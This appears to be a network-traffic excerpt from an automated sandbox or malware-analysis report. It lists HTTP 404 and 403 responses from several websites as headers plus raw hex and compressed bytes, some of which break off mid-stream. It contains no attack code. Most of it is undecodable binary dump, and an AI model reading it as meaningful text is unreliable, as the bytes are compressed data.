65 61 72 63 68 54 65 78 74 20 3d 20 27 53 65 61 72 63 68 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 09 09 09 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:29 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://www.devnetmedia.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 6655Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 52 5d 73 dc 36 96 7d 96 7e 05 44 d7 5a 52 d2 20 5b 2d c9 76 24 b5 52 b3 4e a6 6a b6 92 4c 2a 4e 6a 1f 26 53 29 34 79 9b 84 0d 02 18 00 ec 56 8f e3 ff be 17 20 d9 4d 76 93 b2 9c 4d 66 e7 61 5d 89 9a b8 9f e7 9e 73 ee 4e 32 95 ba 8d 06 52 b8 52 dc 1f df f9 1f 22 98 cc e7 11 48 fa d3 9b c8 c7 80 65 f7 c7 47 77 25 38 46 d2 82 19 0b 6e 1e fd f4 e3 9f e9 ab 68 1b 97 ac 84 79 b4 e2 b0 d6 ca b8 88 a4 4a 3a 90 58 b7 e6 99 2b e6 19 ac 78 0a 34 3c 26 84 4b ee 38 13 d4 a6 4c c0 fc 22 4c 11 5c be 23 06 c4 3c d2 46 2d b9 80 88 14 06 96 f3 a8 70 4e df 24 49 5e ea 3c 56 26 4f 1e 96 32 b9 a8 7b 1c 77 02 ee bf 67 39 10 a9 1c 59 aa 4a 66 e4 f9 b3 57 b3 8b 8b 5b f2 15 ac be 03 f7 2d 64 9c dd 25 75 e5 f1 6e cb 69 26 2d d5 b8 00 5c 5a 9c d6 ab 4e 93 64 89 b0 6d 9c 2b 95 0b 60 9a db 38 55 e5 29 49 9e d0 69 e3 b5 87 b7 57 1c 31 e1 c0 48 e6 f0 1c cf 33 06 b4 16 3c 65 8e 2b 99 18 6b 3f 7f 28 05 a6 3c bc 79 d4 81 4c 9e 1b f6 8f 4a dd 92 3f 03 64 7b 54 ac d7 eb 18 09 95 e0 4a 5f ea 31 26 4b 2c 4b a2 df 7b f9 6b 55 96 a8 a2 7d 2a 8a b4 a9 ef c0 39 3a ba b3 a9 e1 da 35 10 1c 3c b8 e4 2d 5b b1 3a ea 75 3c 3a 5a 73 99 a9 75 fc cb 5a 43 a9 de f2 37 e0 1c 97 b9 25 73 f2 3e 5a 30 0b 3f 19 11 dd 84 c5 f6 e6 e7 e4 e7 96 ec 9f 13 5e a2 f8 f6 67 5c 6c e0 e7 24 34 ff 9c 5c 5c c6 d3 78 fa 73 f2 72 f6 f0 72 f6 73 12 4d 22 dc 89 fd b1 96 39 3e ec 2a ff 6d f3 b0 31 4c c3 df af eb 81 f8 e5 df aa 32 29 44 37 ef 23 74 3d b2 1b da 9a f9 61 fc 00 55 18 d4 94 cb 54 54 99 df f7 d6 86 40 e8 a4 a8 1d e0 d1 71 c9 65 fc d6 7e b9 02 33 bf 8e af e3 8b cb e8 c3 87 5b 4f d7 c9 b2 92 a9 17 f1 0c 26 6c e2 ce df af 98 21 72 62 26 6a c2 e7 38 de 00 82 f8 5a 80 d7 e2 2c 4a 99 44 b6 a3 f3 89 9e f3 38 07 f7 1a 3d 8e 84 3c 7f de 7d 9d 45 b3 2c 3a bf 6d 07 13 8b a3 9b c1 6c fe c6 19 94 23 5e 1a 55 be 2e 98 79 ad 32 b8 d5 71 8a 28 cd 0f 90 ba b3 e9 64 3a e1 f1 9a 67 ae c0 df 02 78 5e 38 5c 17 2f b9 10 3f fa e1 2c f6 ce db 9c b9 82 db 09 9c 63 f9 f4 fc 16 10 8e 53 5f 31 c7 7e fa e1 9b b3 f3 5b 03 ae 32 92 fc f6 c1 ae 1e 3c 81 f9 bc 3f fa c3 f6 ac f4 0c ea a3 dc 21 4f 8d 21 cf 6f 5d 6c 4d 3a c7 fb 51 b4 25 92 ef e2 61 eb 4e 98 27 b0 e9 b7 ff b9 f9 91 e5 df b1 12 ce a2 02 18 92 f9 b7 e9 df 3d 3a 90 d9 eb 82 8b ec cc 21 0e 65 ce d4 fc 4f c6 b0 cd 59 b4 14 cc bb a7 76 cb 39 6e b3 95 d6 ca 38 3b 7f 0f a8 f9 06 6f 92 f9 cd c9 74 b2 7b 7d fd 90 82 76 7f c6 46 8c 7f 98 98 f9 f4 d6 dc a9 58 80 cc 5d 71 6b 3e ff fc 7c 37 e5 6f ea 6f e6 ef 7f 9f ef ac 72 fe 9e 2f cf 4e f4 af bf 9e ec 08 3c af 49 3f b9 b8 b5 6b ee d2 e2 4c c7 fe ca ff 44 fb 09 2e fd cd 4a 47 9e 70 74 c9 3c 7a 31 9d 92 cb 99 7e 20 7f 32 9
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:29 GMTServer: ApacheVary: accept-language,accept-charsetAccept-Ranges: bytesTransfer-Encoding: chunkedContent-Type: text/html; charset=iso-8859-1Content-Language: enData Raw: 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 0d 0a 61 66 0d 0a 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 30 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 38 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 3e 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:29 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 72 38 24 6b 5b 3e 6a 05 8d ce 88 67 4d e2 92 72 8e 84 e1 c0 ab fc a0 24 7d 49 e8 0f 73 20 45 8e d8 95 0e 11 93 8b c9 74 0e 8d 58 53 d3 36 fb a1 d6 a2 f1 67 91 71 d5 74 be 7b e7 92 70 b5 d0 c6 75 cf 8c a3 ed 42 c4 9d 1f 9e 5e d2 12 48 26 c1 76 c0 7b 31 22 8e fa ac cd 0d 2d dc fe 7a 3c 8a a5 e8 a3 fd 96 48 9d b7 0d 1b 32 59 19 72 f8 ea c0 f4 dd 82 8c e2 ff e2 40 2d 54 d9 8a 92 9d fc cc e8 f7 9e 33 18 0d 42 ed 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 27 d6 7a 92 eb 26 2a 4c d3 1d a3 53 fd 2b 1e 0d bd 9a d4 3a 17 8e b4 9a 54 da 3a 60 d8 93 8d a3 4f e9 6d 7a 7f d7 53 7e fb 72 8a 67 14 75 d7 99 3c f2 cc 0c 97 32 67 fc 33 ea 15 fa a7 e4 75 b7 10 bc 02 5e 11 ef 5f ef 1b fb d8 7d e7 fe 02 e4 39 6b fe f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23aTMo@WLP@qzCPZc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <\|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:30 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 196Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:30 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 225Connection: keep-aliveVary: Accept-EncodingContent-Encoding: gzipData Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f 41 6f c2 30 0c 85 ef fd 15 1e 77 ea 0e 71 d8 c1 8a 34 68 11 48 1d 54 10 0e 1c d3 c6 a3 15 6d d3 25 61 68 ff 7e 69 d1 a4 5d 2c 3d fb 7b 4f cf f4 92 1e d6 f2 52 64 b0 95 1f 39 14 e7 55 be 5b c3 6c 8e b8 cb e4 06 31 95 e9 f3 b2 88 13 c4 6c 3f 13 11 d5 be 6b 05 d5 ac 74 10 be f1 2d 8b 65 b2 84 bd f1 b0 31 f7 5e 13 3e 97 11 e1 04 51 69 f4 cf e8 7b 15 ff 98 a0 22 1a 84 ac 19 2c 7f dd d9 79 d6 70 3e e6 80 43 a7 10 1e ca 41 1f e8 cf 91 06 d3 83 af 1b 07 8e ed 37 db 98 70 18 f3 6c 18 4a 6b cb ce 89 f7 41 55 21 ea 34 01 a0 3c 94 ad aa 6e 9a 5d 73 ed e3 ca 74 b1 bb 42 61 ac 87 b7 84 f0 cf 14 1a 4e dd 42 9b f1 a7 e8 17 6d 00 a9 1a 0e 01 00 00 Data Ascii: MAo0wq4hHTm%ah~i],={ORd9U[l1l?kt-e1^>Qi{",yp>CA7plJkAU!4<n]stBaNBm
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Wed, 20 Dec 2023 02:13:30 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 30 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 bd 56 6b 6f db 54 18 fe dc fc 8a 33 4f 48 1b 9a e3 66 e9 40 ed dc 7c a0 1b 02 69 b0 6a 74 1a 08 a1 ca b1 4f 13 af 8e 6d 6c a7 69 41 fc 18 a7 e7 94 51 5a 3a d6 94 5e d6 d2 b2 75 bd 2c 4d 5a b6 71 d1 d8 45 9a 40 6c 4d 11 5a 35 0d 90 98 c4 7b ec 38 89 bb c0 86 84 48 94 8b cf 79 2f cf 7b 7b ce 89 88 fb 8e 9d ec ea 79 a7 fb 38 4a 3b 19 0d 75 9f 7e e5 c4 eb 5d 88 e3 05 e1 4c bc 4b 10 8e f5 1c 43 6f bf d6 f3 c6 09 14 8b b6 a2 b7 1c 4b 95 1d 41 38 fe 26 87 b8 b4 e3 98 1d 82 90 cb e5 a2 b9 78 d4 b0 52 42 cf 29 61 90 59 89 31 b5 ea 5f de f6 74 a2 8a a3 70 89 88 e8 39 19 cc 68 ba dd d9 c4 40 ac bd bd dd d7 f3 64 b1 a4 80 4a 06 3b 12 80 73 4c 1e bf 9f 55 07 3a b9 2e 43 77 b0 ee f0 3d 43 26 e6 90 ec 3f 75 72 0e 1e 74 04 66 ff 28 92 d3 92 65 63 a7 13 67 65 fe ac c9 21 a1 99 99 6e 4b 4a 65 a4 06 03 ba c1 cb 92 9c c6 cc f7 53 4e bd 1d 9e 39 b3 0c ed 79 95 f0 a0 a9 5a d8 6e 10 6f 65 c6 1d d5 d1 70 e2 8c 61 29 dd b0 6b 17 d6 4b 4f 2e dc df d8 20 df 93 32 cd d3 09 7a 91 ce 92 b1 a9 87 6b b7 c9 14 d9 21 77 c8 34 59 14 05 5f 29 12 11 6d 67 48 c3 c8 81 e0 ab 31 cb b6 0d 56 23 2f a2 0f 23 2d 19 c9 4a a9 3a ea 40 ad e8 68 a4 c5 94 14 45 d5 53 c1 63 1f a0 e7 6d f5 03 0c 0b b1 d6 d6 17 40 e4 a3 48 24 69 28 43 4c d5 db ed 93 32 aa 36 d4 c1 0d 97 86 af a3 e1 2d 5a a0 d3 f4 32 9d e0 0e a1 93 b6 d4 2f 1d 42 1c bd 46 1f d0 cf 68 79 f2 6b 5a 40 dd 96 81 ce c4 39 e6 ab d1 f8 cb 47 98 ed 16 56 11 5e d2 d4 14 03 24 43 c9 b0 c5 96 35 55 c7 7c 1a ab a9 b4 c3 80 44 db d8 a2 6c 68 86 05 8f fb e3 f1 38 3c 03 2e 09 a9 99 14 03 96 84 44 81 66 07 d2 0d 1d fb 7b fb ab 55 b7 7b 73 96 64 9a b0 0b 72 39 55 71 d2 20 f6 52 6b ab 39 c8 6c d6 92 71 98 2d 48 59 c7 40 71 7f 0b cc a7 63 f5 7c f1 49 c3 71 8c 0c 43 d3 e6 a9 b2 fd 78 2d 29 41 ca da fc b0 ea 59 3d 02 c2 b1 aa b3 a4 24 f7 a7 2c 23 ab 2b 2c 8a b6 b6 70 54 7d 7d 7d 3e f2 a8 aa eb 3e dc 50 76 34 dc e7 30 c8 75 db 31 66 fc b0 0f a7 9e 82 18 2c da 86 a6 2a 68 7f 32 ce de 21 ab 66 d3 90 70 26 24 94 d5 0e a1 2a 0a 43 6b 50 f0 20 74 20 2f 57 5e 01 aa 42 59 0d 69 2a 93 d3 54 1b da 87 75 1f cf ba 0f c2 54 54 5b 0e a3 8e 03 3e d6 7a 90 c0 aa ba e2 30 dd 7a 5c 2c ac 76 f8 40 b0 e1 94 29 98 bd d9 ba d7 4a b9 a0 41 92 86 a6 84 2d 2a 61 8b d5 0a 80 cb c0 67 14 5a ac bf 97 e1 6d 88 af 5e e3 20 21 a2 e0 45 03 b3 23 0a 69 8f 6c 22 22 9b 86 44 04 c1 ab c5 fb 16 15 75 00 a9 4a 27 b7 b7 e3 60 e4 98 94 f7 c5 fe 88 e9 58 42 64 1d 6b 5b 72 27 27 d8 d8 1a c0 56 af 8d e5 ac a5 3a 43 bd 78 50 c6 a6 a3 1a ba a0 19 29 23 6a ea 29 46 4b e0 37 f6 94 9d f8 bf a5 86 74 dc b7 e1 c1 60 78 65 4d b2 81 60 bd 56 ab e2 64 7b 35 ac 2d a2 99 98 59 98 bb eb e6 69 09 c6 7b 8d 8e d2 11 5a 01 f6 b9 48 c7 e9 4f 74 9b ae d0 e1 4b 5b 73 8f 49 71 6d 9e 10 37 2f 26 2d c6 a1 cc 46 f0 3a bf b3 fe 88 94 49 a1 f4 7b e9 eb c2 f2 17 e3 e4 53
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:30 GMTServer: ApacheSet-Cookie: is_mobile=0; path=/; domain=www.guymassey.comVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:30 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:30 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: blu83.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 2f 63 64 6e 31 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 64 65 76 65 6c 6f 70 65 72 2f 6e 6f 6e 65 2e 69 63 6f 22 20 2f 3e 0a 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Page Not Found</title><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" content="noarchive" /><link rel="shortcut icon" href="//cdn1.editmysite.com/developer/none.ico" /><style type="text
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.2.34content-type: text/html; charset=UTF-8expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-transform, no-cache, must-revalidate, max-age=0link: <http://www.mgbymags.com/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encoding,User-Agentdate: Wed, 20 Dec 2023 02:13:30 GMTserver: LiteSpeedData Raw: 32 37 33 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 7d ed 92 db 36 b2 e8 6f 4d d5 be 03 4c 97 67 46 89 f8 25 69 3e ac 19 29 6b 3b 4e 8e cf 89 1d 6f 1c 6f 6a 2b 76 a9 20 12 92 30 a6 08 86 00 47 33 c7 99 5b f7 35 ee bf fb 2c f7 51 ee 93 dc 6a 7c 90 a0 be 46 33 91 1d 67 eb da bb b1 08 10 8d 46 a3 d1 e8 6e a0 9b e7 0f 62 16 89 eb 8c a0 a9 98 25 83 bd 73 f8 07 25 38 9d f4 1d 92 ba df 3f 75 a0 8c e0 78 b0 77 3e 23 02 a3 68 8a 73 4e 44 df 79 fb f3 77 ee 29 d4 ca e2 14 cf 48 df b9 a4 64 9e b1 5c 38 28 62 a9 20 a9 e8 3b 73 1a 8b 69 3f 26 97 34 22 ae 7c 68 21 9a 52 41 71 e2 f2 08 27 a4 1f b6 d0 0c 5f d1 59 31 d3 05 6d 2f 00 b8 09 4d 3f a0 9c 24 7d 27 cb d9 98 26 c4 41 d3 9c 8c fb ce 54 88 ac e7 fb 93 59 36 f1 58 3e f1 af c6 a9 1f 86 0b 4d 68 3a 19 e1 e8 c3 42 9b f9 7c ee cd 26 a3 eb 19 9e 70 2f 62 33 ff 6a 96 e4 59 e4 65 d3 cc 19 ec ed 9d 0b 2a 12 32 78 8d 27 04 a5 4c a0 31 2b d2 18 ed 3f 3c 6d 87 e1 19 7a f9 fd d3 7f bd 7c f2 fd 1b ef d9 8f 2f d1 8f df 7d f7 e2 d9 8b 27 3f a0 df 11 b9 8a 92 82 d3 4b 82 12 82 c5 94 e4 68 84 27 fc dc 57 c0 ac 81 1c c4 29 77 b3 9c 8c 89 88 a6 07 6a 34 07 be 3f 66 a9 e0 de 84 b1 49 42 70 46 25 62 07 c8 b7 49 b0 a6 25 f7 e6 40 81 85 97 1d 9c 08 92 a7 58 10 07 c1 d4 f6 1d 9c 65 09 8d b0 a0 2c f5 73 ce bf be 9a 25 0e 92 e8 f5 9d bb 8d 0a ed e7 f8 b7 82 9d a1 ef 08 89 6f 23 ee 98 90 d8 77 ea 23 f9 2c c8 3d 63 b3 19 49 05 df 0a cb 48 bf ec 57 e8 36 1a e7 3c ca 69 26 34 fd 04 b9 12 fe 05 be c4 aa d4 19 ec 35 1a 8d 39 4d 63 36 f7 86 f3 8c cc d8 05 7d 43 84 a0 e9 84 a3 3e fa e8 8c 30 27 6f f3 c4 e9 49 66 e5 bd 77 fe 3b 5f 4f d6 3b 9f ce f0 84 f0 77 7e c4 72 f2 ce 97 8d df f9 61 db 0b bc c0 0d df f9 27 ed ab 93 f6 3b df 69 39 e4 4a 38 3d c7 cb d2 89 d3 72 f8 e5 e4 be 10 f9 e5 44 c2 e3 97 93 e7 0a 24 bf 94 20 59 91 47 c4 e9 7d 74 22 96 46 58 48 54 34 ce 12 e5 c5 e5 f2 ce 9f 67 2e 4d a3 a4 88 61 00 17 5c 16 c8 66 6e 4e 12 82 39 f1 66 34 f5 2e f8 37 97 24 ef 1f 79 6d 2f 3c 75 6e 6e ce 80 5e 0f c6 45 1a 01 0b 1e 92 16 6e 89 e6 c7 4b 9c a3 b4 95 b7 58 8b f6 b1 17 e5 04 0b f2 3c 21 30 73 87 4e 84 d3 4b cc 9d 66 2b eb 53 6f 42 c4 33 10 28 57 62 7f df 7e 3a 74 da b1 d3 3c 33 80 11 3f 24 06 30 ee bf 11 39 4d 27 de 38 67 b3 67 53 9c 3f 63 31 39 cb bc 28 21 38 ff 89 44 e2 30 68 05 2d ea 29 91 44 bd 29 a1 93 a9 68 b6 32 6f 4c 93 e4 67 72 25 0e b1 07 eb e6 fa 50 4c 29 6f 91 66 2b 68 05 cd 33 d2 a7 9e 60 df 62 81 df fe f4 c3 61 f3 2c 27 a2 c8 53 74 7f c0 42 01 6e 91 7e bf 0e fa a6 1c 56 74 48 14 b5 c4 32 9d 34 47 36 cf 84 Data Ascii: 2731}6oMLgF%i>)k;No
